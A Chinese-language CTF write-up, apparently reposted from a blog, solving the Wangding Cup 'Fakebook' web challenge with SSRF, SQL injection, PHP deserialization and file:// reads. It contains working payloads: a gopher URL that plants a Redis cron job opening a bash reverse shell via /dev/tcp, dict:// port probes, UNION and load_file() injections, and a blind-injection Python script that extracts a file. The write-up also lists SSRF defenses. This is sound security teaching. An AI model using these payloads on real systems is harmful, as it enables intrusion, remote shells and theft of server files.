网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件

0x00知识点:SSRF

SSRF (Server-side Request Forge, 服务端请求伪造)

是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统.
漏洞产生原因

由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。举个栗子,漏洞代码ssrf.php:

<?php
// 漏洞代码ssrf.php
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); 
curl_close($ch); 
?>

首先curl查看版本以及支持的协议

root@localhost :curl -V
curl 7.54.0 (x86_64-apple-darwin17.0) libcurl/7.54.0 LibreSSL/2.0.20 zlib/1.2.11 nghttp2/1.24.0

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp

Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz HTTP2 UnixSockets HTTPS-proxy

可以看到该版本支持很多协议,其中dict协议、gopher协议、http/s协议以及file协议使用较为广泛。
①:dict协议探测端口

curl -v 'http://a.com/ssrf.php?url=dict://172.0.0.1:22/info'
curl -v 'http://a.com/ssrf.php?url=dict://127.0.0.1:6379/info'

②:利用gopher协议访问redis反弹shell

curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'`

防止SSRF:


禁用不需要的协议,仅仅允许http和https请求,可以防止类似于file://, gopher://, ftp:// 等引起的问题。

服务端需要认证交互,禁止非正常用户访问服务;

过滤输入信息,永远不要相信用户的输入,判断用户的输入是否是一个合理的URL地址

过滤返回信息,验证远程服务器对请求的响应是比较容易的方法,如果web应用是去获取某一种类型的文件。那么在把返* 回结果展示给用户之前先验证返回的信息是否符合标准。

统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

禁止30x跳转

设置URL白名单或限制内网IP

0x01:CTF实战

扫描目录,发现robots.txt,这里说下目录扫描,目前我没发现哪一个目录扫描工具能够一个就够,所以我平时使用dirmap,御剑,SourceLeakHacker这三个目录扫描工具。经过扫描发现有robots.txt和flag.php.
ebb86fb850dc8339ede89733170ecb71.png
访问
http://13c56367-4270-42eb-aca9-2d63d1079127.node3.buuoj.cn/robots.txt
得到
User-agent: *
Disallow: /user.php.bak

/user.php.bak下载打开

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();     初始化 cURL 会话

        curl_setopt($ch, CURLOPT_URL, $url);    设置url链接
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 设置访问规则,要求结果保存到字符串中还是输出到屏幕上。
        $output = curl_exec($ch);      运行cURL,  返回访问结果
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_getinfo — 获取一个cURL连接资源句柄的信息

CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
?>

进行代码审计

显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag.
根据源码

重点是 curl_setopt()和curl_exec()这两个函数
这里我们先了解一下cURL:

cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。

PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。

libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。

PHP中使用cURL实现Get和Post请求的方法

这些函数在PHP 4.0.2中被引入。

注册后登陆
90123cbd1eb80d38f86777e9e28931f8.png
这里我们观察它的URL

http://13c56367-4270-42eb-aca9-2d63d1079127.node3.buuoj.cn/view.php?no=1
传入参数no=1,改变no值,出现网站物理路径
6eb61c8a3d782bd72202d69eb40da1b4.png
我们可以想到,我们这个参数,会传给后端数据库查询,服务器响应后会将结果返回页面。我们就得想办法让他的查询结果是flah.php的网址,也就是
/var/www/html/flag.php
结合源码,SSRF可以帮我们做到。
开始思考怎么利用
view.php存在get注入点
注册界面存在POST注入点。
利用sqlmap直接注入:
sqlmap -r '/root/桌面/11.txt' --dump -tables
619ce42f755df263bbed6a107dfa20ed.png
发现表中存储的是反序列化:

$res = $db->getUserByNo($no);
$user = unserialize($res['data']);

序列化代码如下

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    }
$a = new UserInfo();
$a->name = '1';
$a->age = 12;
$a->blog = 'wangtanzhi.com';
echo serialize($a);
?>

ceac8fdc01dda0b1375b47fe0f0b0171.png
运行得到

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:12;s:4:"blog";s:14:"wangtanzhi.com";}

读flag,将wangtanzhi 改成file:///var/www/html/flag.php来进行序列化
到此,我们的序列化工作完成。
然后,我们开始对view页面来进行注入,这里也能得到我们通过sqlmap注入出的data

查询数据库no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
查询表名/view.phpno=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema='fakebook'-- +
查字段/view.php?no=-1++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name='users'--+

结合SSRFpayload:
/view.php?no=0//union//select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
得到flag

题目非预期解:

直接访问

/view.php?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1

就可以拿到flag了

贴上师傅脚本

import requests

url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
        response = requests.get(url + payload)
        if 'www.123.com' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

参考链接:

https://comicalt.github.io/2018/09/01/wangding/

https://lzy-wi.github.io/2018/08/21/wangdingbei2/

https://www.cnblogs.com/20175211lyz/p/11469695.html

猜你喜欢

转载自www.cnblogs.com/wangtanzhi/p/11900128.html